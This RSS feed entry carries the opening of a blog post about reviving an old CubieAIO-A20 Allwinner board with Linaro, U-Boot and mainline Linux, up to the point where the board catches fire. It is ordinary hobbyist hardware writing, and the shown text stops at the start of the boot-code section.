<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Recursive Realities]]></title><description><![CDATA[I write about cybersecurity, automation, time modeling, and the deeper structures shaping tech, society, and the self.]]></description><link>https://blog.neagaru.com</link><image><url>https://substackcdn.com/image/fetch/$s_!w9Tb!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F538a63ec-41bb-4238-a5cb-88465a852705_1148x1148.png</url><title>Recursive Realities</title><link>https://blog.neagaru.com</link></image><generator>Substack</generator><lastBuildDate>Thu, 23 Apr 2026 12:57:10 GMT</lastBuildDate><atom:link href="https://blog.neagaru.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Daniel Neagaru]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[neagaru@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[neagaru@substack.com]]></itunes:email><itunes:name><![CDATA[Daniel Neagaru]]></itunes:name></itunes:owner><itunes:author><![CDATA[Daniel Neagaru]]></itunes:author><googleplay:owner><![CDATA[neagaru@substack.com]]></googleplay:owner><googleplay:email><![CDATA[neagaru@substack.com]]></googleplay:email><googleplay:author><![CDATA[Daniel Neagaru]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[I Tried to Port Linux to an Obscure SoC. It Caught Fire.]]></title><description><![CDATA[Ported U-Boot, the Linux kernel, and Arch to an ancient SoC&#8212;then lost it to the magic smoke.]]></description><link>https://blog.neagaru.com/p/i-tried-to-port-linux-to-an-obscure</link><guid isPermaLink="false">https://blog.neagaru.com/p/i-tried-to-port-linux-to-an-obscure</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Thu, 07 Aug 2025 22:26:54 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!3WZr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3WZr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3WZr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" width="1000" height="857" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:857,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:162911,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3WZr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>What started as a weekend experiment to install Arch Linux turned into a full-scale resurrection: reverse-engineering legacy FEX files, manually tuning DRAM timings, enabling graphics, and even setting up UART debugging with an Arduino. I ported U-Boot. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive. <strong>And then it caught fire.</strong></p><p>I bought the <a href="http://www.cubietech.com/product-detail/cubieaio-a20/">CubieAIO-A20</a> years ago. Back then, it looked like the perfect little hacker machine: touchscreen, metal enclosure, SIM slot, USB ports, Wi-Fi&#8212;all in a compact form factor. It came preloaded with Android 4.2, which I immediately tried to replace with Linux. I failed. And like so many failed side projects, it went onto the shelf to gather dust.</p><p>Years later, after building <a href="https://utms.io/">UTMS</a>&#8212;a programmable time modeling system&#8212;I started thinking about physical interfaces. Smart controller nodes. Something small, embedded, always on. And I remembered the Cubie. It had everything. All it needed was a modern OS.</p><p>What started as a weekend experiment to install <a href="https://archlinux.org">Arch Linux</a> turned into a full-scale resurrection effort: reverse engineering <a href="https://linux-sunxi.org/Fex_Guide">legacy FEX files</a>, manually tuning <a href="https://linux-sunxi.org/A10_DRAM_Controller_Calibration">DRAM timings</a>, <a href="https://linux-sunxi.org/Display">enabling graphics</a>, and even setting up UART debugging using an <a href="https://docs.arduino.cc/hardware/uno-rev3/">Arduino Uno R3</a>. I ported <a href="https://github.com/u-boot/u-boot">U-Boot</a>. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive.</p><p>And then the board started smoking. How did I get here?</p><h1>Background and Context</h1><p>The CubieAIO-A20 seemed like it should have been a serious contender. Designed as an all-in-one industrial panel PC, it packed a sturdy metal case, a touchscreen, Wi-Fi, a SIM slot, and a decent amount of I/O: multiple USB ports, audio jacks, IR, and GPIO headers. At its heart was the <a href="https://linux-sunxi.org/A20">Allwinner A20</a>&#8212;a dual-core ARM Cortex-A7 SoC paired with 1GB DDR3 RAM and onboard NAND storage.</p><p>It promised flexibility and durability. CubieTech even designed a modular compute core, called <a href="http://www.cubietech.com/product-detail/einstein-a20/">Einstein-A20</a>, to make it easier for embedded projects to adopt. On paper, it was a polished, ready-to-deploy system for kiosks, dashboards, or smart controllers.</p><p>But despite this hardware promise, the board failed to gain traction. The timing was bad: by the time it launched, more powerful boards with active communities were sweeping the market. <a href="https://www.raspberrypi.com/">Raspberry Pi</a>&#8217;s ecosystem was booming, and <a href="https://www.beagleboard.org/boards/beaglebone-black">BeagleBone</a> was solidifying its industrial foothold. The CubieAIO was stuck running ancient Android 4.2 or outdated, blob-heavy Linux images based on Linaro builds, with no modern, mainline kernel support.</p><p>If you&#8217;ve never heard of &#8220;Linaro Linux,&#8221; you&#8217;re not alone &#8212; neither had I. I assumed it was some obscure embedded distro, but it turns out it was never a real distribution at all. <a href="https://www.linaro.org/">Linaro is (or was) an engineering consortium</a> that provided ARM reference builds and toolchains, not end-user operating systems. Vendors like Cubietech took these experimental Ubuntu-based images &#8212; built with Linaro&#8217;s toolchains and patched kernels &#8212; and shipped them as if they were official OS releases. What I installed was an abandoned engineering demo, not a maintained platform.</p><p>The software ecosystem was its Achilles&#8217; heel. Allwinner&#8217;s SDKs locked developers behind proprietary FEX configuration files, partial documentation, and confusing register-level details that were often missing or poorly explained. The community around CubieTech never materialized into an active developer base. No forums thrived, no upstream patches appeared, no mainline support came. It became an orphaned platform.</p><p>I first booted it years ago, briefly saw its outdated Android UI, tried and failed to get Linux running properly, and shelved it. The board gathered dust as the software landscape moved on without it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fDrC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fDrC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg" width="1000" height="857" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:857,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:161227,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fDrC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">CubieAIO running Android 4.2</figcaption></figure></div><p>When I decided to revisit it as a smart controller for UTMS, I knew I was diving into a forgotten ecosystem. What I didn&#8217;t expect was how deep and brutal the resurrection would be&#8212;and how the board would pay its dues with smoke.</p><h1>Resurrection Begins</h1><p>When I first tried flashing <a href="https://www.armbian.com/cubieboard-2/">Armbian images made for the CubieBoard2 and CubieTruck</a>, the screen stayed black. At first, I thought the board wasn&#8217;t booting at all&#8212;it looked dead. I had no idea what was going on, and honestly, that was where I threw in the towel the first time I bought the device. No output, no progress, nothing.</p><p>Only later did I realize the board <em>was</em> booting&#8212;the problem was the screen simply wasn&#8217;t working with those images. But I didn&#8217;t know that then. So, frustrated, I turned to the <a href="http://cubieboard.org/download/">official CubieBoard download</a> page for guidance.</p><p>That page was a disaster. Links to FTP servers were broken. Downloads were scattered across Mega, Baidu, and random HTTP mirrors. The English download section sent me to Mega, but navigating it felt like stepping into a digital ghost town. The comment sections were frozen in time&#8212;last active over a decade ago&#8212;with users complaining about the same lack of updates and support.</p><p>Despite the mess, I found <a href="https://mega.nz/folder/ZtwxCCJC#AIYHcTqz-ucjuzKnE9qD7A/folder/ks4ShKpA">three images labeled</a> for the CubieAIO-A20: Android 4.2, Debian Jessie, and Linaro 14.04. I picked the Linaro image, flashed it on an SD card, and powered the board on. This time, something different happened&#8212;the board actually started booting and began installing the OS.</p><p>While it was doing its thing, I grabbed <a href="https://mega.nz/folder/ZtwxCCJC#AIYHcTqz-ucjuzKnE9qD7A/file/N5gzSbYB">the installation guide</a> linked alongside the image. It was painful to read. Broken English, vague instructions, cryptic warnings. A snippet read something like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QU-H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QU-H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 424w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 848w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1272w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png" width="1290" height="378" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:378,&quot;width&quot;:1290,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:131060,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QU-H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 424w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 848w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1272w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Excerpt from official installation manual</figcaption></figure></div><p>I had to guess what they meant. It felt like reading a bad high school homework assignment, not official docs.</p><p>The weirdest part: after flashing, the board shuts down <em>automatically</em> with no clear success signal. You have to power it back on manually to get any display. No &#8220;done&#8221; message. No progress bar. Just silence and waiting.</p><p>But I stuck with it. I waited for the &#8220;automatic shutdown,&#8221; powered it back on, and suddenly I was greeted by a working Linaro Linux. Finally, I was inside a familiar environment, able to run commands and explore the system freely.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!etA3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!etA3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!etA3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg" width="1526" height="1536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1536,&quot;width&quot;:1526,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:308802,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d159e58-53f8-4fbb-8f3f-e3f5cb838602_1536x2048.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!etA3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!etA3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Linux running on my CubieAIO</figcaption></figure></div><p>This breakthrough was huge&#8212;it meant the board could run a modern Linux distro. But the screen issue I faced earlier hinted at deeper problems with hardware support, which I wouldn&#8217;t uncover until much later, after I had set up UART debugging.</p><h1>Where the Boot begins: The Hunt for First Code</h1><p>As exciting as it was to finally see the board boot into Linaro, the system it ran was so ancient I didn&#8217;t even want to connect it to the network. 